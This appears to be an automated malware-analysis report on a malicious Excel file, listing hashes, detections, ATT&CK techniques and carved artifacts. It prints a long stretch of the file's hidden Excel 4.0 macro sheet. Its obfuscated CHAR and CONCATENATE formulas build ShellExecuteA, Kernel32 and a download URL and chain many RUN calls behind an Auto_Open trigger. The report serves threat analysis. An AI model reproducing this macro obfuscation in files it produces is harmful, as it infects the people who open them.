Office (OOXML) malware analysis — malicious · ed38e6aebeb4e8b7

MALICIOUS

Office (OOXML)

36.0 KB Created: 2020-05-26 07:10:10 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24

MD5: c5af22bdd1bd2a32637ada6ce8b2f02f SHA-1: 2f34e2a89060789ea95ffff971de91ca25587c9b SHA-256: ed38e6aebeb4e8b7013540d52546bd7d52ba029b7eedfaddde3bee6cd749ed18

290 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Excel file containing Excel 4.0 macros, which are known to be used for malicious purposes. The macros utilize dangerous functions like RUN and CALL to execute code, likely downloading a second-stage payload from the unknown URL 'https://coNsaLtiNger.coM'. The presence of these dangerous functions and the embedded URL strongly suggest a downloader or droppper functionality.

Heuristics 8

ClamAV: Doc.Dropper.Agent-7900633-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-7900633-0
Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: RUN, CALL, HALT critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
VBA project inside OOXML medium OOXML_VBA

Document contains a VBA project — VBA macros present
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://coNsaLtiNger.coM In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	673 bytes
SHA-256: `6c63f3b62b24999eec22c04ee105f3e9c5b7af9781577f889f671a5f64dfab7b`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Questa_cartella_di_lavoro" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Foglio1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Sub stampare() ActiveWorkbook.Close False End Sub
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	14848 bytes
SHA-256: `3c8acb91680a0253f1f25873189fb68b404594317ae49f16f70347291919683c`
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	52352 bytes
SHA-256: `909b6a52b1678dd664a51743202676415f1560beb36c570f1abf82ccdde5be0f`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 shell/COM execution token(s).
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="B6:IO1994"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="14" max="14" width="27.5703125" customWidth="1"/><col min="25" max="25" width="11.7109375" bestFit="1" customWidth="1"/><col min="164" max="164" width="40.7109375" bestFit="1" customWidth="1"/></cols><sheetData><row r="6" spans="56:240" x14ac:dyDescent="0.25"><c r="CE6"><v>161</v></c><c r="IF6"><v>63</v></c></row><row r="7" spans="56:240" x14ac:dyDescent="0.25"><c r="CV7"><v>155</v></c></row><row r="8" spans="56:240" x14ac:dyDescent="0.25"><c r="CY8" t="b"><f>RUN($FM$434)</f><v>0</v></c></row><row r="9" spans="56:240" x14ac:dyDescent="0.25"><c r="BD9" t="str"><f>CONCATENATE($DN$890,$GK$646,$DW$1681)</f><v>dll</v></c><c r="FJ9"><v>391</v></c></row><row r="15" spans="56:240" x14ac:dyDescent="0.25"><c r="GL15" t="b"><f>RUN($AN$54)</f><v>0</v></c></row><row r="16" spans="56:240" x14ac:dyDescent="0.25"><c r="GT16"><v>164</v></c></row><row r="18" spans="15:234" x14ac:dyDescent="0.25"><c r="O18"><v>11</v></c></row><row r="19" spans="15:234" x14ac:dyDescent="0.25"><c r="GD19"><v>35</v></c></row><row r="21" spans="15:234" x14ac:dyDescent="0.25"><c r="GQ21"><v>638</v></c></row><row r="22" spans="15:234" x14ac:dyDescent="0.25"><c r="CQ22" t="str"><f>CHAR($DC$419-534)</f><v>3</v></c></row><row r="24" spans="15:234" x14ac:dyDescent="0.25"><c r="FB24"><v>93</v></c></row><row r="28" spans="15:234" x14ac:dyDescent="0.25"><c r="HZ28"><v>52</v></c></row><row r="39" spans="35:154" x14ac:dyDescent="0.25"><c r="EX39" t="b"><f>RUN($CI$987)</f><v>0</v></c></row><row r="45" spans="35:154" x14ac:dyDescent="0.25"><c r="AI45"><v>19</v></c></row><row r="52" spans="8:177" x14ac:dyDescent="0.25"><c r="EL52" t="str"><f>CHAR($BH$1850-939)</f><v>.</v></c></row><row r="54" spans="8:177" x14ac:dyDescent="0.25"><c r="AN54" t="b"><f>RUN($CV$233)</f><v>0</v></c><c r="BB54" t="str"><f>AV221</f><v>https://coNsaLtiNger.coM</v></c></row><row r="56" spans="8:177" x14ac:dyDescent="0.25"><c r="CN56"><v>646</v></c></row><row r="58" spans="8:177" x14ac:dyDescent="0.25"><c r="R58" t="str"><f>CHAR($N$615-534)</f><v>.</v></c><c r="FU58"><v>591</v></c></row><row r="59" spans="8:177" x14ac:dyDescent="0.25"><c r="CZ59" t="str"><f>CONCATENATE($I$426,$E$1800,$HX$1640,$BG$163,$GP$1775,$BJ$1436,$GV$309,$AD$1746,$DE$348,$FB$957,$CF$207,$HV$1960,$AI$1506)</f><v>ShellExecuteA</v></c></row><row r="60" spans="8:177" x14ac:dyDescent="0.25"><c r="H60"><v>20</v></c></row><row r="61" spans="8:177" x14ac:dyDescent="0.25"><c r="DO61"><v>89</v></c></row><row r="65" spans="29:224" x14ac:dyDescent="0.25"><c r="BU65" t="str"><f>CHAR($EK$433-939)</f><v>O</v></c></row><row r="66" spans="29:224" x14ac:dyDescent="0.25"><c r="FD66" t="str"><f>CHAR($GM$1059-939)</f><v>V</v></c></row><row r="71" spans="29:224" x14ac:dyDescent="0.25"><c r="FF71" t="str"><f>CHAR($DI$1588-44)</f><v>i</v></c></row><row r="72" spans="29:224" x14ac:dyDescent="0.25"><c r="FV72"><v>96</v></c></row><row r="73" spans="29:224" x14ac:dyDescent="0.25"><c r="AC73"><v>650</v></c><c r="CP73"><v>397</v></c><c r="HP73"><v>160</v></c></row><row r="83" spans="32:193" x14ac:dyDescent="0.25"><c r="BO83"><v>114</v></c></row><row r="88" spans="32:193" x14ac:dyDescent="0.25"><c r="DN88"><v>35</v></c></row><row r="91" spans="32:193" x14ac:dyDescent="0.25"><c r="GK91"><v>141</v></c></row><row r="93" spans="32:193" x14ac:dyDescent="0.25"><c r="AF93" t="b"><f>RUN($HI$713)</f><v>0</v></c></row><row r="105" spans="75:237" x14ac:dyDescent="0.25"><c r="BZ105" t="str"><f>CHAR($BO$1036-939)</f><v>V</v></c></row><row r="106" spans="75:237" x14ac:dyDescent="0.25"><c r="DZ106" t="str"><f>CHAR($IF$1668-312)</f><v>e</v></c><c r="EP106"><v>0</v></c></row><row r="110" spans="75:237" x14ac:dyDescent="0.25"><c r="IC110"><v>35</v></c></row><row r="112" spans="75:237" x14ac:dyDescent="0.25"><c r="BW112"><v>395</v></c></row><row r="119" spans="14:210" x14ac:dyDescent="0.25"><c r="HB119" t="str"><f>CHAR($AN$616-44)</f><v>A</v></c></row><row r="124" spans="14:210" x14ac:dyDescent="0.25"><c r="CE124"><v>83</v></c></row><row r="125" spans="14:210" x14ac:dyDescent="0.25"><c r="N125" t="b"><f>RUN($BB$821)</f><v>0</v></c></row><row r="132" spans="30:220" x14ac:dyDescent="0.25"><c r="BH132"><v>65</v></c></row><row r="133" spans="30:220" x14ac:dyDescent="0.25"><c r="CQ133"><v>36</v></c></row><row r="139" spans="30:220" x14ac:dyDescent="0.25"><c r="HL139"><v>413</v></c></row><row r="140" spans="30:220" x14ac:dyDescent="0.25"><c r="AD140" t="str"><f>CHAR($FF$1972-939)</f><v>l</v></c></row><row r="154" spans="141:178" x14ac:dyDescent="0.25"><c r="EK154" t="str"><f>CHAR($AE$1842-312)</f><v>l</v></c></row><row r="157" spans="141:178" x14ac:dyDescent="0.25"><c r="FV157"><v>163</v></c></row><row r="161" spans="59:192" x14ac:dyDescent="0.25"><c r="EI161"><v>416</v></c></row><row r="162" spans="59:192" x14ac:dyDescent="0.25"><c r="DQ162" t="str"><f>CHAR($EF$1039-44)</f><v>y</v></c><c r="GJ162" t="b"><f>RUN($GK$1055)</f><v>0</v></c></row><row r="163" spans="59:192" x14ac:dyDescent="0.25"><c r="BG163" t="str"><f>CHAR($GF$988-44)</f><v>l</v></c></row><row r="164" spans="59:192" x14ac:dyDescent="0.25"><c r="BZ164"><v>9</v></c></row><row r="166" spans="59:192" x14ac:dyDescent="0.25"><c r="FR166"><v>3</v></c></row><row r="169" spans="59:192" x14ac:dyDescent="0.25"><c r="CW169"><v>12</v></c></row><row r="173" spans="59:192" x14ac:dyDescent="0.25"><c r="EN173" t="str"><f>CHAR($FV$157-44)</f><v>w</v></c></row><row r="188" spans="170:170" x14ac:dyDescent="0.25"><c r="FN188" t="str"><f>CHAR($BO$83-44)</f><v>F</v></c></row><row r="194" spans="66:209" x14ac:dyDescent="0.25"><c r="BN194" t="b"><f>RUN($FN$896)</f><v>0</v></c></row><row r="195" spans="66:209" x14ac:dyDescent="0.25"><c r="CZ195" t="str"><f>CHAR($FW$280-939)</f><v>G</v></c><c r="HA195"><v>3</v></c></row><row r="204" spans="66:209" x14ac:dyDescent="0.25"><c r="GB204"><v>87</v></c></row><row r="207" spans="66:209" x14ac:dyDescent="0.25"><c r="CF207" t="str"><f>CHAR($BY$1686-44)</f><v>t</v></c></row><row r="208" spans="66:209" x14ac:dyDescent="0.25"><c r="DN208"><v>1022</v></c></row><row r="215" spans="25:218" x14ac:dyDescent="0.25"><c r="EU215" t="b"><f>RUN($AX$398)</f><v>0</v></c></row><row r="216" spans="25:218" x14ac:dyDescent="0.25"><c r="Y216" t="b"><f>RUN($CJ$1029)</f><v>0</v></c></row><row r="217" spans="25:218" x14ac:dyDescent="0.25"><c r="CZ217" t="b"><f>RUN($FH$1309)</f><v>0</v></c></row><row r="219" spans="25:218" x14ac:dyDescent="0.25"><c r="EU219"><v>12</v></c><c r="GA219"><v>99</v></c></row><row r="220" spans="25:218" x14ac:dyDescent="0.25"><c r="BC220"><v>72</v></c><c r="HJ220" t="str"><f>CHAR($FP$1447-44)</f><v>o</v></c></row><row r="221" spans="25:218" x14ac:dyDescent="0.25"><c r="AV221" t="str"><f>CONCATENATE($AF$1350,)</f><v>https://coNsaLtiNger.coM</v></c></row><row r="224" spans="25:218" x14ac:dyDescent="0.25"><c r="BT224" t="b"><f>RUN($Y$1924)</f><v>0</v></c></row><row r="226" spans="18:188" x14ac:dyDescent="0.25"><c r="GF226"><v>112</v></c></row><row r="233" spans="18:188" x14ac:dyDescent="0.25"><c r="CV233" t="b"><f>RUN($FF$1334)</f><v>0</v></c></row><row r="236" spans="18:188" x14ac:dyDescent="0.25"><c r="R236"><v>642</v></c></row><row r="244" spans="22:170" x14ac:dyDescent="0.25"><c r="CW244" t="b"><f>RUN($AC$629)</f><v>0</v></c></row><row r="247" spans="22:170" x14ac:dyDescent="0.25"><c r="AG247" t="str"><f>CHAR($FM$1053-44)</f><v>e</v></c><c r="CG247" t="b"><f>RUN($B$962)</f><v>0</v></c><c r="FH247"><v>99</v></c></row><row r="249" spans="22:170" x14ac:dyDescent="0.25"><c r="V249"><v>82</v></c></row><row r="252" spans="22:170" x14ac:dyDescent="0.25"><c r="EQ252"><v>70</v></c></row><row r="253" spans="22:170" x14ac:dyDescent="0.25"><c r="DR253"><v>36</v></c></row><row r="254" spans="22:170" x14ac:dyDescent="0.25"><c r="FN254" t="str"><f>CHAR($BI$546-312)</f><v>n</v></c></row><row r="255" spans="22:170" x14ac:dyDescent="0.25"><c r="AT255"><v>35</v></c></row><row r="280" spans="11:179" x14ac:dyDescent="0.25"><c r="FW280"><v>1010</v></c></row><row r="281" spans="11:179" x14ac:dyDescent="0.25"><c r="ES281"><v>58</v></c></row><row r="287" spans="11:179" x14ac:dyDescent="0.25"><c r="K287" t="str"><f>CHAR($AZ$1238-44)</f><v>p</v></c></row><row r="304" spans="181:181" x14ac:dyDescent="0.25"><c r="FY304"><v>69</v></c></row><row r="309" spans="42:216" x14ac:dyDescent="0.25"><c r="BV309" t="str"><f>CHAR($HL$139-312)</f><v>e</v></c><c r="GV309" t="str"><f>CHAR($GT$16-44)</f><v>x</v></c></row><row r="312" spans="42:216" x14ac:dyDescent="0.25"><c r="HH312" t="str"><f>CHAR($DC$592-939)</f><v>l</v></c></row><row r="313" spans="42:216" x14ac:dyDescent="0.25"><c r="AP313" t="str"><f>CHAR($CM$523-534)</f><v>p</v></c></row><row r="321" spans="168:183" x14ac:dyDescent="0.25"><c r="FL321"><v>154</v></c></row><row r="322" spans="168:183" x14ac:dyDescent="0.25"><c r="FY322" t="str"><f>CHAR($CS$1880-534)</f><v>t</v></c></row><row r="324" spans="168:183" x14ac:dyDescent="0.25"><c r="GA324" t="b"><f>RUN($GK$1993)</f><v>0</v></c></row><row r="347" spans="16:213" x14ac:dyDescent="0.25"><c r="P347"><v>88</v></c></row><row r="348" spans="16:213" x14ac:dyDescent="0.25"><c r="DE348" t="str"><f>CHAR($GY$967-44)</f><v>c</v></c></row><row r="352" spans="16:213" x14ac:dyDescent="0.25"><c r="HE352" t="b"><f>RUN($FR$1323)</f><v>0</v></c></row><row r="355" spans="7:235" x14ac:dyDescent="0.25"><c r="DC355" t="b"><f>RUN($BA$408)</f><v>0</v></c></row><row r="357" spans="7:235" x14ac:dyDescent="0.25"><c r="G357"><v>149</v></c></row><row r="358" spans="7:235" x14ac:dyDescent="0.25"><c r="IA358"><v>155</v></c></row><row r="361" spans="7:235" x14ac:dyDescent="0.25"><c r="CS361"><v>43</v></c></row><row r="365" spans="7:235" x14ac:dyDescent="0.25"><c r="DQ365"><v>586</v></c></row><row r="373" spans="130:225" x14ac:dyDescent="0.25"><c r="FE373"><v>75</v></c></row><row r="376" spans="130:225" x14ac:dyDescent="0.25"><c r="DZ376"><v>120</v></c><c r="FJ376"><v>581</v></c></row><row r="377" spans="130:225" x14ac:dyDescent="0.25"><c r="HQ377"><v>390</v></c></row><row r="390" spans="30:214" x14ac:dyDescent="0.25"><c r="HF390"><v>33</v></c></row><row r="393" spans="30:214" x14ac:dyDescent="0.25"><c r="AD393"><v>66</v></c></row><row r="397" spans="30:214" x14ac:dyDescent="0.25"><c r="BN397"><v>85</v></c><c r="DA397" t="str"><f>CHAR($BW$112-312)</f><v>S</v></c></row><row r="398" spans="30:214" x14ac:dyDescent="0.25"><c r="AX398" t="b"><f>RUN($FY$1427)</f><v>0</v></c></row><row r="399" spans="30:214" x14ac:dyDescent="0.25"><c r="CF399" t="b"><f>RUN($EW$596)</f><v>0</v></c></row><row r="408" spans="11:246" x14ac:dyDescent="0.25"><c r="K408"><v>94</v></c><c r="BA408" t="b"><f>RUN($AS$724)</f><v>0</v></c><c r="IL408" t="b"><f>RUN($BT$224)</f><v>0</v></c></row><row r="415" spans="11:246" x14ac:dyDescent="0.25"><c r="GA415"><v>158</v></c></row><row r="419" spans="5:217" x14ac:dyDescent="0.25"><c r="DC419"><v>585</v></c><c r="HI419" t="str"><f>CHAR($BQ$448-534)</f><v>s</v></c></row><row r="422" spans="5:217" x14ac:dyDescent="0.25"><c r="DS422"><v>50</v></c></row><row r="423" spans="5:217" x14ac:dyDescent="0.25"><c r="E423" t="str"><f>CHAR($HH$746-534)</f><v>a</v></c></row><row r="426" spans="5:217" x14ac:dyDescent="0.25"><c r="I426" t="str"><f>CHAR($GG$1508-44)</f><v>S</v></c></row><row r="433" spans="69:175" x14ac:dyDescent="0.25"><c r="EK433"><v>1018</v></c><c r="FH433" t="b"><f>RUN($DV$1654)</f><v>0</v></c></row><row r="434" spans="69:175" x14ac:dyDescent="0.25"><c r="FM434" t="b"><f>RUN($EB$857)</f><v>0</v></c></row><row r="436" spans="69:175" x14ac:dyDescent="0.25"><c r="FS436" t="b"><f>RUN($AV$992)</f><v>0</v></c></row><row r="448" spans="69:175" x14ac:dyDescent="0.25"><c r="BQ448"><v>649</v></c></row><row r="457" spans="20:208" x14ac:dyDescent="0.25"><c r="DV457" t="str"><f>CHAR($HD$1635-939)</f><v>\</v></c></row><row r="458" spans="20:208" x14ac:dyDescent="0.25"><c r="BN458" t="b"><f>RUN($HB$946)</f><v>0</v></c></row><row r="459" spans="20:208" x14ac:dyDescent="0.25"><c r="T459" t="b"><f>RUN($I$1583)</f><v>0</v></c></row><row r="461" spans="20:208" x14ac:dyDescent="0.25"><c r="GZ461" t="str"><f>CHAR($IA$358-44)</f><v>o</v></c></row><row r="462" spans="20:208" x14ac:dyDescent="0.25"><c r="FS462"><v>34</v></c></row><row r="472" spans="6:136" x14ac:dyDescent="0.25"><c r="EF472" t="b"><f>RUN($CU$1205)</f><v>0</v></c></row><row r="477" spans="6:136" x14ac:dyDescent="0.25"><c r="BV477"><v>61</v></c><c r="DX477"><v>1061</v></c></row><row r="478" spans="6:136" x14ac:dyDescent="0.25"><c r="F478"><v>78</v></c></row><row r="486" spans="20:201" x14ac:dyDescent="0.25"><c r="GS486"><v>0</v></c></row><row r="490" spans="20:201" x14ac:dyDescent="0.25"><c r="T490" t="b"><f>RUN($GA$324)</f><v>0</v></c></row><row r="493" spans="20:201" x14ac:dyDescent="0.25"><c r="DB493" t="str"><f>CONCATENATE($ED$1932,$BV$309,$FR$597,$FN$254,$GH$1034,$EK$154,$L$701,$DY$1034)</f><v>Kernel32</v></c></row><row r="499" spans="2:224" x14ac:dyDescent="0.25"><c r="FD499" t="str"><f>CHAR($GO$1551-534)</f><v>.</v></c></row><row r="501" spans="2:224" x14ac:dyDescent="0.25"><c r="T501" t="b"><f>RUN($GZ$1136)</f><v>0</v></c></row><row r="502" spans="2:224" x14ac:dyDescent="0.25"><c r="BH502" t="b"><f>RUN($FS$436)</f><v>0</v></c></row><row r="505" spans="2:224" x14ac:dyDescent="0.25"><c r="EH505" t="str"><f>CHAR($GY$578-939)</f><v>p</v></c></row><row r="507" spans="2:224" x14ac:dyDescent="0.25"><c r="B507" t="b"><f>RUN($HE$352)</f><v>0</v></c></row><row r="511" spans="2:224" x14ac:dyDescent="0.25"><c r="GL511" t="str"><f>CHAR($AC$1571-44)</f><v>R</v></c></row><row r="512" spans="2:224" x14ac:dyDescent="0.25"><c r="HP512" t="b"><f>RUN($C$1129)</f><v>0</v></c></row><row r="514" spans="36:151" x14ac:dyDescent="0.25"><c r="BN514"><v>145</v></c></row><row r="518" spans="36:151" x14ac:dyDescent="0.25"><c r="CE518"><v>12</v></c></row><row r="523" spans="36:151" x14ac:dyDescent="0.25"><c r="AJ523"><v>75</v></c><c r="CM523"><v>646</v></c></row><row r="524" spans="36:151" x14ac:dyDescent="0.25"><c r="EU524" t="str"><f>CHAR($CY$951-534)</f><v>/</v></c></row><row r="525" spans="36:151" x14ac:dyDescent="0.25"><c r="DU525" t="str"><f>CONCATENATE($DB$493)</f><v>Kernel32</v></c></row><row r="529" spans="31:173" x14ac:dyDescent="0.25"><c r="AE529"><v>1047</v></c></row><row r="533" spans="31:173" x14ac:dyDescent="0.25"><c r="CM533"><v>642</v></c></row><row r="534" spans="31:173" x14ac:dyDescent="0.25"><c r="FQ534" t="b"><f>RUN($CB$1154)</f><v>0</v></c></row><row r="546" spans="42:189" x14ac:dyDescent="0.25"><c r="BI546"><v>422</v></c><c r="CY546" t="b"><f>RUN($AK$1144)</f><v>0</v></c></row><row r="554" spans="42:189" x14ac:dyDescent="0.25"><c r="AP554"><v>86</v></c></row><row r="558" spans="42:189" x14ac:dyDescent="0.25"><c r="GG558" t="b"><f>RUN($BN$194)</f><v>0</v></c></row><row r="578" spans="22:207" x14ac:dyDescent="0.25"><c r="GY578"><v>1051</v></c></row><row r="580" spans="22:207" x14ac:dyDescent="0.25"><c r="AY580"><v>152</v></c></row><row r="587" spans="22:207" x14ac:dyDescent="0.25"><c r="CC587" t="str"><f>CHAR($DL$879-534)</f><v>o</v></c><c r="FS587" t="b"><f>RUN($ED$665)</f><v>0</v></c></row><row r="590" spans="22:207" x14ac:dyDescent="0.25"><c r="V590" t="b"><f>RUN($FM$1128)</f><v>0</v></c></row><row r="592" spans="22:207" x14ac:dyDescent="0.25"><c r="DC592"><v>1047</v></c></row><row r="593" spans="70:231" x14ac:dyDescent="0.25"><c r="BR593"><v>152</v></c></row><row r="596" spans="70:231" x14ac:dyDescent="0.25"><c r="EW596" t="b"><f>RUN($HX$1321)</f><v>0</v></c></row><row r="597" spans="70:231" x14ac:dyDescent="0.25"><c r="FR597" t="str"><f>CHAR($ED$1417-312)</f><v>r</v></c><c r="HW597"><v>71</v></c></row><row r="599" spans="70:231" x14ac:dyDescent="0.25"><c r="EY599" t="str"><f>CHAR($AS$821-939)</f><v>u</v></c></row><row r="609" spans="5:227" x14ac:dyDescent="0.25"><c r="HS609" t="b"><f>RUN($GJ$162)</f><v>0</v></c></row><row r="610" spans="5:227" x14ac:dyDescent="0.25"><c r="GM610"><v>633</v></c></row><row r="615" spans="5:227" x14ac:dyDescent="0.25"><c r="N615"><v>580</v></c></row><row r="616" spans="5:227" x14ac:dyDescent="0.25"><c r="AN616"><v>109</v></c></row><row r="622" spans="5:227" x14ac:dyDescent="0.25"><c r="E622"><v>92</v></c><c r="BZ622"><v>362</v></c></row><row r="625" spans="29:172" x14ac:dyDescent="0.25"><c r="FP625"><v>74</v></c></row><row r="629" spans="29:172" x14ac:dyDescent="0.25"><c r="AC629" t="b"><f>RUN($T$501)</f><v>0</v></c></row><row r="643" spans="174:193" x14ac:dyDescent="0.25"><c r="FR643" t="b"><f>RUN($GV$1116)</f><v>0</v></c></row><row r="646" spans="174:193" x14ac:dyDescent="0.25"><c r="GK646" t="str"><f>CHAR($R$236-534)</f><v>l</v></c></row><row r="659" spans="134:242" x14ac:dyDescent="0.25"><c r="IH659"><v>1</v></c></row><row r="665" spans="134:242" x14ac:dyDescent="0.25"><c r="ED665" t="b"><f>RUN($AG$1279)</f><v>0</v></c></row><row r="667" spans="134:242" x14ac:dyDescent="0.25"><c r="IB667"><v>634</v></c></row><row r="672" spans="134:242" x14ac:dyDescent="0.25"><c r="EE672" t="b"><f>RUN($CJ$1363)</f><v>0</v></c></row><row r="680" spans="104:104" x14ac:dyDescent="0.25"><c r="CZ680" t="b"><f>RUN($FG$1753)</f><v>0</v></c></row><row r="700" spans="12:43" x14ac:dyDescent="0.25"><c r="W700" t="str"><f>CHAR($AY$1968-44)</f><v>O</v></c></row><row r="701" spans="12:43" x14ac:dyDescent="0.25"><c r="L701" t="str"><f>CHAR($GR$1782-312)</f><v>3</v></c></row><row r="703" spans="12:43" x14ac:dyDescent="0.25"><c r="AQ703" t="str"><f>CHAR($ID$785-534)</f><v>:</v></c></row><row r="713" spans="217:217" x14ac:dyDescent="0.25"><c r="HI713" t="b"><f>RUN($GL$15)</f><v>0</v></c></row><row r="723" spans="45:244" x14ac:dyDescent="0.25"><c r="CO723"><v>581</v></c></row><row r="724" spans="45:244" x14ac:dyDescent="0.25"><c r="AS724" t="b"><f>RUN($AD$1333)</f><v>0</v></c></row><row r="733" spans="45:244" x14ac:dyDescent="0.25"><c r="BF733" t="b"><f>RUN($AW$1536)</f><v>0</v></c></row><row r="734" spans="45:244" x14ac:dyDescent="0.25"><c r="EL734"><v>50</v></c></row><row r="736" spans="45:244" x14ac:dyDescent="0.25"><c r="FO736"><v>85</v></c><c r="IJ736" t="b"><f>RUN($EU$818)</f><v>0</v></c></row><row r="746" spans="14:216" x14ac:dyDescent="0.25"><c r="AH746"><v>1056</v></c><c r="HH746"><v>631</v></c></row><row r="752" spans="14:216" x14ac:dyDescent="0.25"><c r="N752"><v>46</v></c><c r="FQ752"><v>145</v></c></row><row r="767" spans="238:238" x14ac:dyDescent="0.25"><c r="ID767" t="str"><f>CHAR($GA$415-44)</f><v>r</v></c></row><row r="770" spans="78:214" x14ac:dyDescent="0.25"><c r="EE770" t="b"><f>RUN($IJ$736)</f><v>0</v></c></row><row r="772" spans="78:214" x14ac:dyDescent="0.25"><c r="HF772"><v>1051</v></c></row><row r="773" spans="78:214" x14ac:dyDescent="0.25"><c r="DS773" t="b"><f>RUN($CD$806)</f><v>0</v></c></row><row r="776" spans="78:214" x14ac:dyDescent="0.25"><c r="BZ776" t="b"><f>RUN($CG$247)</f><v>0</v></c></row><row r="778" spans="78:214" x14ac:dyDescent="0.25"><c r="CE778"><v>388</v></c></row><row r="779" spans="78:214" x14ac:dyDescent="0.25"><c r="FU779" t="str"><f>CHAR($GK$91-44)</f><v>a</v></c></row><row r="785" spans="12:238" x14ac:dyDescent="0.25"><c r="ID785"><v>592</v></c></row><row r="786" spans="12:238" x14ac:dyDescent="0.25"><c r="DU786" t="str"><f>CHAR($BL$1892-44)</f><v>a</v></c><c r="FM786" t="b"><f>RUN($D$1464)</f><v>0</v></c></row><row r="788" spans="12:238" x14ac:dyDescent="0.25"><c r="EU788"><v>34</v></c></row><row r="794" spans="12:238" x14ac:dyDescent="0.25"><c r="L794" t="b"><f>RUN($CY$546)</f><v>0</v></c></row><row r="796" spans="12:238" x14ac:dyDescent="0.25"><c r="AG796" t="str"><f>CHAR($FH$1215-44)</f><v>e</v></c></row><row r="800" spans="12:238" x14ac:dyDescent="0.25"><c r="FA800" t="b"><f>RUN($B$507)</f><v>0</v></c></row><row r="801" spans="42:134" x14ac:dyDescent="0.25"><c r="ED801" t="str"><f>CHAR($BA$1765-312)</f><v>l</v></c></row><row r="806" spans="42:134" x14ac:dyDescent="0.25"><c r="CD806" t="b"><f>RUN($DC$355)</f><v>0</v></c><c r="CG806" t="b"><f>RUN($FP$1816)</f><v>0</v></c></row><row r="810" spans="42:134" x14ac:dyDescent="0.25"><c r="AP810"><v>10</v></c><c r="DG810" t="b"><f>RUN($EX$1942)</f><v>0</v></c></row><row r="818" spans="27:201" x14ac:dyDescent="0.25"><c r="EU818" t="b"><f>RUN($DI$1088)</f><v>0</v></c></row><row r="819" spans="27:201" x14ac:dyDescent="0.25"><c r="AA819"><v>1044</v></c></row><row r="821" spans="27:201" x14ac:dyDescent="0.25"><c r="AS821"><v>1056</v></c><c r="BB821" t="b"><f>RUN($CZ$680)</f><v>0</v></c></row><row r="826" spans="27:201" x14ac:dyDescent="0.25"><c r="GS826" t="b"><f>RUN($T$459)</f><v>0</v></c></row><row r="835" spans="7:239" x14ac:dyDescent="0.25"><c r="CR835"><v>158</v></c></row><row r="837" spans="7:239" x14ac:dyDescent="0.25"><c r="G837" t="str"><f>CHAR($FS$1761-939)</f><v>d</v></c></row><row r="840" spans="7:239" x14ac:dyDescent="0.25"><c r="CT840" t="str"><f>CHAR($EA$1148-939)</f><v>I</v></c></row><row r="845" spans="7:239" x14ac:dyDescent="0.25"><c r="HS845" t="b"><f>RUN($L$794)</f><v>0</v></c></row><row r="846" spans="7:239" x14ac:dyDescent="0.25"><c r="IE846"><v>1021</v></c></row><row r="847" spans="7:239" x14ac:dyDescent="0.25"><c r="GO847"><v>92</v></c></row><row r="849" spans="22:180" x14ac:dyDescent="0.25"><c r="V849" t="str"><f>CHAR($CN$56-534)</f><v>p</v></c></row><row r="857" spans="22:180" x14ac:dyDescent="0.25"><c r="EB857" t="b"><f>RUN($Y$216)</f><v>0</v></c><c r="FX857" t="b"><f>RUN($HP$512)</f><v>0</v></c></row><row r="879" spans="116:116" x14ac:dyDescent="0.25"><c r="DL879"><v>645</v></c></row><row 